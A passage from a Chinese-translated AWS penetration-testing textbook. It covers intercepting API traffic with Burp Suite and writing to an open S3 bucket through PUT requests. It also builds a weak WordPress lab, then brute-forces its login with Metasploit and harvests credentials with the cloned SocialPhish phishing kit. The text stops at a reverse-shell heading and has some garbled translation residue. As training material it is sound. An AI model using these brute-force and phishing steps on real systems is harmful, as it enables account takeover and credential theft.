现在我们已经了解了 API 是什么以及它们是如何工作的,我希望我们开始更多地应用一些实际的知识来帮助将所有内容完整地连接起来。然而,在我们开始之前,让我们快速地看一下 API 在 AWS 中如何工作,并与虚拟私有云(VPC)和 EC2 实例进行交互的高级概述。

API 地图概述

本节将简要说明 API 如何与 VPC 中的 Lambda 函数和 EC2 实例配合工作的高级视图。运行 API 并将其与各种服务集成的优势在于可以通过 Web 流量门户(在本例中为 API)扩展多个服务,并从 API 中集中记录所有内容。正如前面提到的,API 允许快速高效地进行扩展 - 因此将它们作为访问多个服务的主要门户将使您能够构建更多从一个中央 API 查询的服务。

现在让我们看一个简单的解决方案,创建一个允许您访问 Lambda 函数和 EC2 实例的 API。在这个例子中,我们不担心服务在做什么。我们更关心的是理解流量如何从 Amazon API 网关流向服务,以及从服务返回到 API。

查看以下插图,以帮助您了解与 AWS 服务一起使用 API 的过程:

图 8.1 - AWS API 网关图

图 8.1 - AWS API 网关图

从图表中可以看出,外部用户正在尝试通过 API 访问服务。请记住,API 使用 Web 请求调用来发布和检索信息。 Amazon API Gateway 根据用户的请求向 Lambda 函数EC2 实例 发出调用。然后服务将数据发送回外部用户。这完成了用户和服务之间的流量流动。

重要提示

在本章后面的部分中,我们将更多地了解 Web 请求在操作 API 调用时的情况。

现在我们对 API 是什么以及它如何与 AWS 服务配合工作有了很好的理解,让我们继续制作我们自己的 API。

使用 AWS 创建我们的第一个 API

本节将简要但简洁地介绍如何在 AWS 中设置自己的 API。我们不会担心将任何服务连接到它 - 我们将在以后的练习中检查流量并将调用传递到 API 时再进行连接。

以下是指导您创建一个可以在本章中使用的 API 的说明。要开始,请登录 AWS 控制台并按照以下步骤操作:

  1. 在 AWS 控制台的主菜单中的搜索栏中搜索api服务:图 8.2 - 搜索 api

图 8.2 - 搜索 api

  1. 接下来,您将获得一个 API 列表可供选择。选择REST API并点击构建图 8.3 – 构建 API

图 8.3 – 构建 API

  1. 现在您需要配置 API。确保选择PentestPacktAWS。您可以随意命名您的 API,但请确保记住名称。提供描述是可选的,但是是一个好习惯,特别是当您开始构建更多的 API 时 - 它将帮助您记住每个 API 的目的:图 8.4 – 命名 API

图 8.4 – 命名 API

  1. 输入完所有信息后,点击创建 API完成。

点击创建 API后,您将进入 API 的主要仪表板。这是我们将在本章后面配置 API 的地方。现在,可以随意熟悉面板。

现在我们已经学会了如何创建 API,下一个合乎逻辑的步骤是了解我们将用来评估 API 的工具。本章的下一部分将重点介绍一种名为 Burp Suite 的流行网络工具。

开始使用 Burp Suite

本章的这一部分将讨论本书尚未使用的工具。我们将使用的工具是一种代理工具,它允许我们对 Web 应用程序进行安全测试,在我们的情况下,它将使我们能够拦截发送到和从我们的 AWS API 目标的请求。这意味着 Burp Suite 将使我们完全控制通过我们的 Web 浏览器发送的请求,使我们能够操纵对 API 的调用。

重要提示

代理是在发送到目标之前检查和分析流量的服务器或服务。

拦截 API 的调用允许我们查看诸如令牌、会话和其他可能能够被更改以使 API 接受不应该接受的调用的参数。这是漏洞赏金猎人和网络应用程序渗透测试人员常用的技术。

重要提示

漏洞赏金猎人是一名自由渗透测试人员,与公司合作测试其网站上的漏洞。这些漏洞是通过第三方服务报告的,称为漏洞赏金计划。在这里了解更多关于漏洞赏金计划:whatis.techtarget.com/definition/bug-bounty-program

在接下来的部分中,我们将登录到本地的 Kali Linux 机器,并启动 Burp Suite 并将其配置到我们的 Web 浏览器。一旦设置好,我们将拦截一些不同的请求并检查各种 Web 请求,以更多地了解如何使用该工具。

配置 Burp Suite

现在我们更了解 Burp Suite 是什么,让我们继续实际动手并开始使用该应用程序。在开始之前,您需要在 VirtualBox 中启动本地的 Kali Linux 机器。一旦机器启动并运行,登录到 Kali Linux 机器。

登录后,使用以下步骤启动 Burp Suite:

  1. 启动终端并输入burpsuite

  2. 一旦打开 Burp Suite,您需要选择临时项目图 8.5 – 新的 Burp 项目

图 8.5 – 新的 Burp 项目

  1. 选择使用 Burp 默认值图 8.6 – 使用 Burp 默认值

图 8.6 – 使用 Burp 默认值

  1. 接下来,转到代理选项卡,并找到选项部分:图 8.7 – 配置接口

图 8.7 – 配置接口

  1. 您需要确保将接口配置为本地地址127.0.0.1,并将端口设置为8080。Burp Suite 默认已配置好,但是如果不是这样 - 您可以配置 Burp Suite 以满足上一个截图的规格。

很好,现在我们已经设置好了 Burp Suite 绑定到我们的本地主机的8080端口。这意味着通过我们的本地主机发送到8080端口的任何流量都将被 Burp Suite 捕获。

我们还没有完成,现在我们需要配置我们的浏览器,以便将流量通过我们分配的本地主机上的指定端口。

要开始,请在您的 Kali Linux 机器中打开 Firefox:

  1. 打开终端,输入firefox并按下Enter

  2. 接下来,点击浏览器右上角的选项,选择首选项图 8.8 - 浏览器配置

图 8.8 - 浏览器配置

  1. 接下来,在首选项部分的搜索栏中键入代理。点击设置...继续:图 8.9 - 配置 web 代理

图 8.9 - 配置 web 代理

  1. 确保8080。确保选择为所有协议使用此代理服务器。这将允许加密流量通过。完成后点击确定

图 8.10 - 设置代理参数

图 8.10 - 设置代理参数

干得好,您已成功配置浏览器以与 Burp Suite 配合使用。从现在开始,我们将开始使用 Burp Suite 拦截本章剩余部分的 web 请求。但是,在开始之前,我们需要在浏览器上安装 Burp Suite 证书。重要的是,我们有能力拦截流量,以便我们可以看到通过我们的浏览器传输的未加密和加密流量。

要安装 Burp Suite 证书,请按照以下步骤进行:

  1. 在配置好并运行 Burp Suite 后,在浏览器中输入以下网址:

burp

  1. 您将在右上角看到一个横幅,上面写着CA 证书。点击它:图 8.11 - Burp 证书

图 8.11 - Burp 证书

  1. 保存文件。

  2. 返回到证书。点击查看证书...图 8.12 - 查看证书

图 8.12 - 查看证书

  1. 接下来,您将看到证书管理器。在这里,您需要导入我们刚刚从 Burp Suite 下载的证书。要做到这一点,点击导入...图 8.13 - 导入证书

图 8.13 - 导入证书

  1. 导入我们刚刚下载的cacert.der文件。

  2. 勾选信任 CA 以识别网站信任 CA 以识别电子邮件用户。完成后点击确定

图 8.14 - 导入证书继续

图 8.14 - 导入证书继续

就是这样!现在我们正式准备拦截一些 web 请求!在本书中或现实生活中使用 Burp Suite 时,请确保在使用前打开代理,在使用后关闭代理!如果不关闭代理,可能会在使用 web 浏览器时遇到一些问题。

重要提示

如果您仍然在使用 Burp Suite 应用程序时遇到问题,请查看帮助指南以解决常见问题:portswigger.net/burp/documentation/desktop/getting-started/proxy-troubleshooting

使用 Burp Suite 检查流量

接下来的部分将介绍如何检查我们刚刚创建的 REST API 的流量。使用 Burp Suite 检查流量对于网络渗透测试和 web 应用程序渗透测试至关重要,因为它允许我们查看特定连接上的所有通信。虽然我们不会担心网络拦截,但我们将使用许多在 web 应用程序渗透测试中使用的相同技术。

在我们开始检查流量之前,我们需要确保在开始之前进行一些快速的清理工作。我们需要确保我们也部署了我们的 AWS API 网关,这样我们才能学习如何拦截来自 REST API 的流量。

部署 API 网关

要开始,请重新登录 AWS 控制台并转到本章开头创建的 API:

图 8.15 – 选择我们的 API

图 8.15 – 选择我们的 API

点击 API 以访问网关开始。

一旦您进入 AWS API 的主配置屏幕,您需要选择操作。这将弹出一个菜单,其中有创建方法、删除 API 的选项,最重要的是创建方法和部署 API 的选项。以下步骤将帮助您完成部署 API 的指导:

  1. 点击操作图 8.16 – 选择操作

图 8.16 – 选择操作

  1. 选择创建方法

  2. 选择ANY作为操作。

  3. 选择模拟作为集成类型:图 8.17 – 创建模拟方法

图 8.17 – 创建模拟方法

  1. 点击保存

很好,现在我们有一个可以用来调用 API 的方法。既然我们有了一个方法,我们可以继续部署我们的 API 并使其可访问。接下来的步骤将帮助我们部署 API:

  1. 点击操作

  2. 接下来,选择部署 API图 8.18 – 部署 API

图 8.18 – 部署 API

  1. 选择[新阶段]作为部署阶段

  2. 对于阶段名称,使用prod图 8.19 – 配置阶段名称

图 8.19 – 配置阶段名称

  1. 最后,点击部署

点击部署后,您会注意到在您的 AWS API 仪表板顶部会有一个横幅。横幅上会显示调用 URL。您应该看到一个网址,看起来像以下截图中的样子:

图 8.20 – API 横幅

图 8.20 – API 横幅

该网址是您新部署的 AWS API 的网址,将用于测试下一节中拦截流量。请注意,您的 API 地址将与此示例中的网址不同。

接下来,让我们继续拦截我们新部署的 AWS API 上的一些流量。

实际操作拦截 API 调用

现在是一些有趣的、实际操作的内容。现在我们将从清理部分转移到一些实际操作的练习,以帮助您使用 Burp Suite。在继续之前,请确保您已经配置了 Burp Suite 和您的浏览器以拦截 Web 流量。如果需要复习,请参考配置 Burp Suite部分。

使用正确配置的 Burp Suite 和您的 Web 浏览器,让我们开始吧:

  1. 打开您的浏览器,将 API 网址放入地址栏并点击Enter。查看前一节的步骤 5,以了解如何调用 URL的提醒。

  2. 您的 Burp Suite 应用程序应该弹出一个拦截窗口:图 8.21 – GET 请求

图 8.21 – GET 请求

  1. 这里发生的是我们正在拦截主机和服务器之间的通话。注意GET参数后面跟着/prod。这意味着我们正在尝试检索prod目录。

  2. 继续,点击转发将请求发送到服务器:图 8.22 – 转发请求后的 Web 浏览器

图 8.22 – 转发请求后的 Web 浏览器

  1. 如您所见,我们有一个空白屏幕 – 这完全没问题。因为页面呈现为空白,没有未找到横幅,我们知道 URL 有效。

我们现在成功地拦截了主机机器和 AWS API 之间的数据包。虽然这可能看起来很基础,但在我们开始操作 API 调用之前,我们必须了解 Burp Suite 拦截 Web 流量的基础知识。如果我们跳过了解如何设置我们的环境并理解基本的拦截,我们就无法真正理解正在发生的确切过程。

接下来,我们将继续进行本章的最后一部分。我们将学习更多关于 HTTP 方法的知识,并通过构建我们迄今所学的一切来学习如何操作 API 调用。

操作 API 调用

在开始之前,我们需要了解可以用来操作 API 调用的基本 HTTP 方法。HTTP 请求方法本质上是您想要在目标 API 上执行的操作。通常称为 HTTP 动词,这些方法可以允许我们向目标资源放置数据和检索数据或信息。下一部分将简要介绍这些方法。

GET方法从特定地址请求资源。使用GET的请求应该只检索数据。HEAD方法要求一个等同于GET请求的确认,只是没有确认主体。DELETE方法用于删除指定的资源。POST方法用于向目标资源提交数据 - 通常,您会看到POST方法用于发布数据并引起问题。PUT方法用于在目标服务器上放置数据。

现在我们了解了 HTTP 方法是什么以及它们是如何工作的,让我们看看它们的实际应用。对于下一个示例,我们将运行一个练习,通过操作调用一个易受攻击的 S3 API。如果您需要复习如何创建 S3 存储桶,请参考第四章**,利用 S3 存储桶

重要提示

要了解有关为 S3 创建 API 的更多信息,请参考此资源:aws.amazon.com/s3/features/access-points/。您需要在其中创建一个自己的测试文件夹的存储桶,以执行下一个练习。

玩转修改 HTTP 方法

对于下一部分,我们将通过 AWS API 来定位一个 S3 存储桶。存储桶位于awspublicpackt.s3.amazonaws.com/。让我们继续在 Burp Suite 中拦截它:

  1. 使用 Burp Suite 和已配置为拦截 Web 流量的浏览器,在 URL 栏中输入地址:图 8.23 - Burp 请求

图 8.23 - Burp 请求

  1. 如您所见,我们正在基于host参数拦截 API 调用。我们正在使用GET方法,这意味着我们正在检索资源。点击前进继续:图 8.24 - 查看存储桶对象和密钥

图 8.24 - 查看存储桶对象和密钥

  1. 如您所见,有一个名为TestAPI.txt的目录。接下来,让我们继续拦截test目录,并查看是否可以查看文本文件:图 8.25 - 检索 TestAPI.txt

图 8.25 - 检索 TestAPI.txt

  1. 点击前进图 8.26 - TestAPI.txt 的输出

图 8.26 - TestAPI.txt 的输出

  1. 请注意,文本文件的内容正在显示。这意味着我们有读取权限。接下来,让我们看看是否可以通过操作 API 在存储桶中放置一个对象。让我们使用PUT方法将HackedAPI.txt测试文件放入i love pentesting数据到文本文件中:图 8.27 - 通过操作 API 调用放置数据

图 8.27 - 通过操作 API 调用放置数据

  1. 现在,为了确认我们已经将数据放在目标上,我们可以在终端中使用curl命令来检查并查看数据是否已存储。我们使用以下命令来验证数据是否已放入 S3 存储桶:
$ curl https://awspublicpackt.s3.amazonaws.com/test/Hacked.txt

我们看到以下输出:

图 8.28 – 成功的数据上传

图 8.28 – 成功的数据上传

  1. 正如我们所看到的,通过操纵 API 中的调用,我们已成功将数据放入了 S3 存储桶。接下来,让我们看看是否可以删除/test合法资源。

正如您所看到的,我们能够通过操纵 HTTP 请求中的方法来操纵我们的主机和资源之间的调用。根据我们刚刚进行的练习,我们能够通过操纵 HTTP 调用来读取和写入资源的数据。这是非常危险的,因为如果被发现,攻击者可能会留下恶意软件或窃取敏感信息。非常重要的是要建立适当的访问控制,以确保资源不会被留下不安全。

现在让我们继续,结束本章,并开始着手下一部分的内容,第九章**,使用 Metasploit 和更多进行真实的渗透测试!

摘要

在本章中,我们了解了与 AWS 中的 API 和网关相关的 Web 流量和 Web 请求。我们学会了部署简单的 API 网关,还学会了使用评估 API 和网关的重要工具–Burp Suite。我们进行了一个有趣的练习,演示了如何使用 Burp Suite 来操纵 HTTP 请求,并提到了留下 API 易受攻击的危险。有了这些知识,您现在可以使用本章学到的方法对基于 Web 的应用程序和服务进行攻击和评估。

在下一章中,我们将通过更多的实践经验来进一步了解 AWS。这是本书中最长的一章,将让您建立新的环境并根据场景进行利用,最终教会您 AWS 渗透测试的技术部分和相关流程。

进一步阅读

第九章:使用 Metasploit 和更多工具进行真实渗透测试!

到目前为止,我们已经看过各种服务是如何设置的,以及我们如何修改和利用它们 - 同时也讨论了如何建议修复它们的简单解决方案。现在我们将会有相当大的进展,并将应用我们的渗透测试知识。我们将使用 AWS 和诸如 Metasploit 之类的工具来帮助我们利用 AWS 环境中的漏洞。本章将采用真实生活中的方式,来演示如何在真实世界的环境中进行 AWS 环境的渗透测试。

我们将进行一些基本的系统设置,模仿常见的漏洞,以及查看我们在之前章节中设置的一些镜像。我们将运行一些你可能会遇到的真实渗透测试场景,以及一些有趣的练习,教你一些新的策略和技术。我们将通过探索 Metasploit 中的一些 AWS 模块来结束本章,这些模块允许我们枚举敏感信息,从而导致进一步的攻击和权限提升。

把这一章看作是之前所有章节的“技术”顶峰。

在本章中,我们将涵盖以下主题:

  • 使用 Metasploit 进行真实渗透测试

  • 渗透测试前期准备

  • 针对 WordPress 进行利用

  • 针对易受攻击的服务应用

  • 探索 AWS Metasploit 模块

技术要求

以下是本章的技术要求:

查看以下视频,了解代码的实际操作:bit.ly/3kPcjNL

使用 Metasploit 进行真实渗透测试

在本书中,我们已经谈论了Metasploit相当多,并且甚至在 Metasploit 中使用了一些模块来帮助我们评估本书中的各种练习 - 但是,这些例子只是浅尝辄止,Metasploit 的真正潜力以及在云中进行渗透测试和道德黑客的潜力。

Metasploit 在渗透测试社区中有好坏参半的评价,因为它帮助自动化了我们的许多流程,可能被认为是廉价的或者是依赖自动化工具来进行渗透测试的新手。然而,作为一个以渗透测试为生的人,Metasploit 提供了巨大的优势,并自动化了许多无聊和简单的工作,同时让你专注于需要更多手动方法的评估的详细部分。在本章中,我们将看到如何利用 Metasploit,同时使用其他各种技术来帮助我们利用服务和系统。

重要提示

永远不要依赖一个工具来完成渗透测试工作。作为渗透测试人员,我们的工作是有效和高效地提供对真实攻击者的评估,同时评估目标组织的整体安全状况。

在本章中,我们将把我们从前面所有章节中学到的知识应用到我们的云环境中,使用你在实际渗透测试中可能遇到的真实场景。

我们将采取两种方法:

  • 白盒/功能测试

  • 没有黑盒测试的知识

什么是功能测试?

在我们开始之前,我想快速提一下功能测试是什么。它基本上和白盒测试是一样的;只是主要目标是确保环境中的应用和服务安全且正常运行,而渗透测试允许你寻找更多问题,并发现当某些东西没有正确或安全地运行时。

功能测试在云渗透测试中起着至关重要的作用,因为云渗透测试需要不同的方法。由于服务提供商方面的安全性非常发达,云环境中发现的大多数问题都源自用户的实施。我们已经亲眼见证了在第四章等章节中,过度宽松的政策会导致什么,以及这如何允许攻击者利用 S3 等服务。我们基本上是通过已经拥有凭证来评估我们的环境,应用了相同的方法论。

拥有凭证并寻找令人兴奋的资源和破损的政策使我们渗透测试人员能够在坏人之前发现问题。确保在进行 AWS 渗透测试时,渗透测试团队具有一些凭证访问权限,这将使他们能够高效地对 AWS 环境进行功能测试至关重要。

我们将在本章的最后看更多的功能测试,在探索 AWS Metasploit 模块部分。

黑盒测试

虽然我们在第二章中提到了黑盒测试渗透测试和道德黑客,我想在这里再次简要提及它,因为我们将把它应用到本章的场景中。对于本章的场景来说,云的黑盒测试意味着我们对目标或其环境没有任何细节。然而,我们至少会知道目标主机的 DNS 或 IP 地址 - 这使我们能够节省时间并找到目标。

重要提示

黑盒测试有时可能是浪费时间,因为大部分测试时间都花在枚举信息上,因为渗透测试团队没有关于评估的任何先前知识。

这意味着渗透测试团队需要自己去找到进入应用程序和 AWS 云环境的方法。这包括钓鱼和暴力破解以找到 Web 应用程序和 AWS 环境的凭证,以及任何其他类型的社会工程。我们可以利用本书和本章中学到的策略来帮助我们访问本章中故意脆弱的系统。

现在我们已经了解了我们将要进行的测试类型,让我们开始朝着基于场景的测试迈进。在我们开始之前,我们需要确保一些事情有条不紊,并且在测试开始之前我们已经做好了准备。

渗透测试前期

在我们开始之前,我们需要确保我们的环境已经准备好进行渗透测试。这意味着我们需要确保我们的 AWS 网络已经设置好,并且我们使用的任何工具都已经更新。除了本书中的环境之外,始终重要的是要记住在进行渗透测试之前检查您的设置是否正确。如果您的设置没有准备好,您很可能会遇到问题,这将阻碍您进行成功的渗透测试;或者至少在渗透测试过程中会遇到一些挫折,这将耽误您的时间。

对于本节,让我们确保我们在正确的虚拟私有云VPC)上,并且我们的目标已经配置好。这确保我们可以直接访问其私有网络上的机器,并且在尝试访问 AWS 环境的内部时不会遇到任何问题。我们还需要确保 Metasploit 已经更新,并且安装了最新的模块,以便我们可以使用它们来利用我们的目标。

重命名我们的 VPC 以便更清晰

让我们继续重命名我们的 VPC。请记住,VPC 充当我们正在使用的主机的虚拟私有云网络。我们一直在使用相同的 VPC 来设置主机;然而,我们从未重命名它,因为它与我们的目标和任务无关。

要重命名您的 VPC,请登录 AWS 控制台并按照以下步骤操作:

  1. 在 AWS 控制台的主要搜索框中搜索VPC一词:图 9.1-搜索 VPC

图 9.1-搜索 VPC

  1. 点击VPCs图 9.2-选择 VPC 选项

图 9.2-选择 VPC 选项

  1. 您将看到一个 VPC 列表。选择包含 Kali 实例的 VPC 并将其重命名。我们已经将我们的 VPC 重命名为Pentest Playground

图 9.3-重命名我们的 VPC

图 9.3-重命名我们的 VPC

就是这样!我们现在已经重命名了我们的 VPC,这将使得以后的工作变得更加容易,因为我们可以自动将任何目标主机放在该 VPC 中。接下来,让我们继续更新我们的主要工具 Metasploit。

更新 Metasploit

在继续进行渗透测试之前,我们需要做最后一件事-我们需要更新我们 Kali Linux 机器上的 Metasploit。我们将使用托管在 AWS 中的 Kali 机器,因此请确保您已经启动并访问了该实例。要访问该机器,请使用以下命令:

$ ssh -i <key.pem> <public dns>

一旦您获得对 Kali 机器的访问权限,请继续输入以下命令来更新 Kali 主机中的 Metasploit 应用程序:

$ apt update; apt install metasploit-framework

让它运行一分钟并更新。完成后会提示您,然后可以继续。

现在我们的环境已经准备好了,是时候继续进行一些真正的渗透测试场景了。以下场景模拟了故意制造的易受攻击环境,模仿了真实环境中常见的问题。我们还将进行一些其他练习,使用 AWS 作为平台,以帮助提升您对渗透测试的了解,并展示 AWS 在渗透测试和攻击性安全方面的一些能力。

针对 WordPress 进行利用

对于我们的第一个渗透测试,我们将对一个名为 WordPress 的目标应用进行渗透测试,这是一个非常流行的用于博客和快速构建网站的网站。在渗透测试中,WordPress 网站成为目标并不罕见,因为它们非常灵活,而且非常简单易上手-正如我们将在下一刻看到的。如果您想了解更多关于 WordPress,请访问这里:wordpress.com/

现在,让我们看看实际的情景是什么,以及我们被要求测试什么,以及如何测试。

重要提示

测试要求会因测试而异。有些目标可能只需要初始访问,而其他目标则需要完整的后期利用。这种情况完全取决于客户及其需求。

情景-获取未经授权的访问权限

在这种情况下,我们被要求针对一个 WordPress 网站进行攻击,并查看是否能够获得任何类型的访问权限。目标怀疑管理员很懒惰,并且已经实施了弱凭证来访问 Web 应用程序和后端主机。因此,根据目标的要求,这意味着我们需要访问 Web GUI 并通过反向 shell 访问主机系统。

我们可以通过几种不同的方法来做到这一点,比如蛮力攻击和社会工程学。我们将使用 Metasploit 并使用一个开源工具对目标进行网络钓鱼演习。在获得凭证后,我们将访问应用程序,并尝试通过在 Web 应用程序上放置后门来访问主机系统。

在进行渗透测试之前,我们需要首先搭建一个带有 WordPress 的 Web 服务器。我们可以使用一个名为Lightsail的服务来快速执行这个操作。

使用 Lightsail 设置目标

这一次在设置服务器时,我们将使用一种略有不同的方法。过去,我们使用 EC2 实例来配置主机和应用程序。现在,我们几乎要完全自动化整个过程,使用一个名为Lightsail的服务。

Lightsail 是 AWS 中的一个功能,允许我们在几分钟内构建应用程序。这对需要在几分钟内启动服务器和网站的管理员非常有效;然而,正如我们将在这个渗透测试场景中看到的那样,有时可能会出现一些常见问题。通常,简单的凭据和过度宽松的访问会打开脆弱的大门,使攻击者找到进入应用程序的方法!

现在,让我们先担心用 Lightsail 搭建我们的目标。如果您愿意,您可以在这里了解更多关于 Lightsail 的信息:aws.amazon.com/lightsail/

要开始,您需要登录到您的 AWS 帐户,网址是aws.amazon.com。登录后,您可以在这里进入 Lightsail:lightsail.aws.amazon.com

一旦您登录到 Lightsail 仪表板,您需要创建一个实例并配置它以适应我们易受攻击的目标场景。以下步骤将帮助您了解如何执行此操作:

  1. 单击创建实例

  2. 选择WordPress应用程序,并在 Linux 镜像上构建它:图 9.4 - 选择我们的 Lightsail 镜像,带有 WordPress 和 Linux

图 9.4 - 选择我们的 Lightsail 镜像,带有 WordPress 和 Linux

  1. 现在我们需要选择一个计划。选择最便宜的计划,可以免费使用一个月。您随时可以取消:图 9.5 - 选择具有免费月份选项的计划,以避免收费

图 9.5 - 选择具有免费月份选项的计划,以避免收费

  1. 给您的实例命名!在这种情况下,我们将我们的实例命名为WordPress-Metasploit,以保持简单:图 9.6 - 为熟悉性命名我们的实例

图 9.6 - 为熟悉性命名我们的实例

  1. 单击创建实例

现在,我们应该有一个正在运行的仪表板与我们的新实例!

图 9.7 - 我们在 Lightsail 中加载的实例

图 9.7 - 我们在 Lightsail 中加载的实例

接下来,我们将使这个实例变得脆弱,以便我们可以攻击它。我们需要做的第一件事是登录并更改登录密码。当您到达 Lightsail 仪表板时,您会看到使用 SSH 连接。单击该按钮将为我们提供 WordPress 主机内的 SSH 终端。

让我们继续进行下一步,设置我们的易受攻击主机:

  1. 单击使用 SSH 连接图 9.8 - 连接到主机系统

图 9.8 - 连接到主机系统

  1. 这将在您的浏览器中创建一个 SSH 窗口。在终端中键入ls以列出应用程序中的任何文件和目录:图 9.9 - 列出主机中的文件

图 9.9 - 列出主机中的文件

  1. 使用cat命令列出应用程序密码文件!

图 9.10 - 列出密码文件的内容

  1. 现在我们有了密码,让我们去登录地址,并使用密码和用户名登录到 Web 应用程序。登录地址将是http://<publiciP>/wp-login.php图 9.11 - 登录到我们的 WordPress 主机

图 9.11 - 登录到我们的 WordPress 主机

  1. 登录后,转到用户部分,然后单击添加新用户图 9.12 - 添加新用户

图 9.12 - 添加新用户

  1. 现在,继续创建一个名为admin的新用户,并将密码设置为admin图 9.13 - 创建管理员帐户

图 9.13 - 创建管理员帐户

  1. 创建用户后,您需要确保它是管理员角色组的一部分:

图 9.14 - 将管理员角色分配给我们的管理员帐户

图 9.14 - 将管理员角色分配给我们的管理员帐户

现在,我们的目标已经成功设置了一些容易受攻击的问题,这将使我们能够发现应用程序中的弱点。请记住,我们只是将应用程序设置为管理员,但我们是作为渗透测试人员对其进行攻击。这意味着我们知道应用程序的凭据。

让我们开始并开始渗透测试!

枚举目标

好了,现在舞台已经搭好,我们准备开始对目标进行渗透测试。我们需要做的第一件事是回到我们的 AWS Kali Linux 实例上。一旦你能够访问你的 Kali 主机,让我们开始扫描目标应用程序,看看我们发现了哪些端口和服务作为潜在的入口点:

$ nmap -Pn -sV <public DNS>

输出如下所示:

图 9.15 - 扫描我们的 WordPress 主机

图 9.15 - 扫描我们的 WordPress 主机

如你所见,打开的端口和服务是 web 服务端口和 SSH。由于我们只被要求测试 WordPress 应用程序,所以我们可以继续而不用担心 SSH,因为从技术上讲,它不在测试范围内。

重要提示

始终记住要在请求的渗透测试范围内活动。超出范围可能导致罚款、收入损失、信任丧失和诉讼。

现在我们知道我们可以访问端口80443上的 web 端口,让我们开始向前迈进,看看我们可以从网站中使用 Metasploit 中的 WordPress 模块进行枚举。这是下一个逻辑步骤,因为我们已经知道目标正在托管 WordPress - 如果我们不知道,我们将首先尝试通过浏览器访问站点,看看 web 服务端口上运行的是什么应用程序。

以下命令将启动 Metasploit 并扫描我们的目标:

  1. 启动 Metasploit:
$ msfdb run

下一个截图将让你看到 Metasploit 终端的外观:

图 9.16 - 启动 Metasploit

图 9.16 - 启动 Metasploit

  1. 现在,我们需要继续选择 Metasploit 中的一个扫描模块,用于枚举WordPress的版本:
$ use auxiliary/scanner/http/wordpress_scanner

这将产生以下输出:

图 9.17 - 发现 WordPress 5.3.4

图 9.17 - 发现 WordPress 5.3.4

  1. 看起来我们可能正在处理一个过时的WordPress版本。如果目标托管过时的应用程序,这些应用程序可能存在易受攻击和系统妥协的漏洞。现在,我们将查看与5.3.4相关的漏洞。你可以在这里找到与这个版本相关的漏洞:wpvulndb.com/wordpresses/53

我们没有找到任何突出的易受攻击的东西,所以现在我们可以继续看看是否可以通过手动枚举发现任何用户名。

要开始枚举用户名信息,我们需要去查看我们的 WordPress 应用程序的登录页面。我们将通过输入随机用户名开始评估,直到我们在用户名上找到一个精确匹配。这将允许我们使用已知的用户名和密码列表进行暴力破解,并且会花费更少的时间,因为我们只需要搜索密码,而不是用户名。

首先,转到http://<public dns>/wp-login.php的登录页面。一旦到达那里,开始使用一些常见的用户名来登录页面。在我们的情况下,我们将尝试使用rootuser

让我们开始吧:

  1. 输入root作为用户名,password作为密码:图 9.18 - 找不到用户名

图 9.18 - 找不到用户名

如你所见,用户名未找到 - 这意味着这个用户名在这个应用程序中不存在。

  1. 接下来,我们将尝试输入user作为用户名:图 9.19 - 找到用户名

图 9.19 - 找到用户名

现在我们可以看到我们已经找到了用户名,因为提示告诉我们user用户名是有效的,让我们看看如何使用 Metasploit 自动发现凭据。

  1. 首先,您需要创建一个文件来放置用户名。如果我们找到更多的用户名,我们以后也可以使用这个文件。

继续将user打开到文件中:

vi Terminal and placing the word user within the file.![Figure 9.20 – Creating a file with user     ](https://gitee.com/OpenDocCN/freelearn-sec-zh/raw/master/docs/aws-pentest/img/Figure_9.20_B15630.jpg)Figure 9.20 – Creating a file with user 
  1. 接下来,我们需要保存文件。键入:wq以保存并退出。

我们已经准备好使用我们的用户名文档;现在,我们只需要在目标主机上使用它。我们将再次依靠 Metasploit 来完成这项任务。Metasploit 有一个登录枚举模块,将帮助我们为我们发现的用户找到一些密码。一旦您启动了 Metasploit,请使用以下命令配置您的 Metasploit 模块以适应您的目标:

$ usemodules/auxiliary/scanner/http/wordpress_login_enum
$ set PASS_FILE /usr/share/wfuzz/wordlist/general/common.txt
$ set USER_FILE wordpressUsers.txt
$ set RHOSTS <target public dns>
$ run

请注意,在下一个截图中,我们找到了用户user

图 9.21–暴力破解和找到用户

图 9.21–暴力破解和找到用户

正如您所看到的,我们找到了用户和密码。下一张截图突出显示密码是admin

图 9.22–发现密码

图 9.22–发现密码

干得好!我们成功地收集了 WordPress 应用程序的凭据。虽然我们可以在这里停止枚举并继续尝试利用应用程序,但让我们采取另一种方法来获取其他凭据,以便让我们访问应用程序–毕竟,您拥有的凭据越多,越好!

接下来,我们将尝试通过使用开源网络钓鱼工具来获取更多的凭据。

收集凭据

本节的下一部分涉及向目标公司发送恶意链接,以尝试获取额外的凭据,从而使我们能够访问 Web 应用程序。网络钓鱼是一种涉及发送恶意电子邮件的社会工程攻击,试图模仿合法电子邮件。总体目标是让用户点击电子邮件或应用程序中的链接或下载,然后在目标上安装恶意软件或收集信息。在我们的情况下,我们将使用它来收集额外的凭据。

重要提示

在本练习中,我们不会向任何人发送虚假电子邮件。我们将假设已发送了一个非常描述性的电子邮件,并附有恶意链接。

要开始,我们需要获取一个名为Social Phish的程序,并将其放在我们的AWS Kali 主机上。要获取该应用程序,请使用以下命令:

$ git clone https://github.com/xHak9x/SocialPhish

在您的 Kali 机器上安装应用程序后,继续运行应用程序:

$ bash socialphish.sh

接下来,按照以下步骤执行攻击:

  1. 现在应用程序正在运行,您需要确保选择WordPress模板:图 9.23–设置我们的网络钓鱼应用程序

图 9.23–设置我们的网络钓鱼应用程序

  1. 在选择WordPress模板后,继续将tinyURL放入浏览器中。这将使用您的 Kali 主机的公共 DNS 进行访问:图 9.24–来自网络钓鱼链接的假 WordPress 网站

图 9.24–来自网络钓鱼链接的假 WordPress 网站

  1. 正如您所看到的,我们看起来有一个正常的 WordPress 网站。我们可以欺骗用户将他们的凭据放入输入框中,从而窃取登录信息。继续使用 WordPress 应用程序的合法凭据:图 9.25–发现的凭据

图 9.25–发现的凭据

  1. 在输入凭据后,您将在终端上收到登录信息,并且它将存储在系统上的文件中。

现在我们有了可以用来访问应用程序的凭据,让我们继续对 WordPress 应用程序进行更多的渗透测试,看看我们能做些什么。

获取 WordPress 的访问权限

这是评估中最短的部分。我们需要确保我们发现的凭据能够让我们访问网页。始终尝试你发现的凭据是很重要的,因为它们可能是误报的结果,或者在你尝试使用它们时已经被更改。

在我们的情况下,我们将返回到目标主机的登录页面,并使用我们发现的凭据:

图 9.26 – WordPress 仪表板

图 9.26 – WordPress 仪表板

如你所见,我们已成功访问了系统。既然我们已经获得了访问权限,让我们继续尝试利用应用程序并访问底层主机操作系统。

利用并获取反向 shell

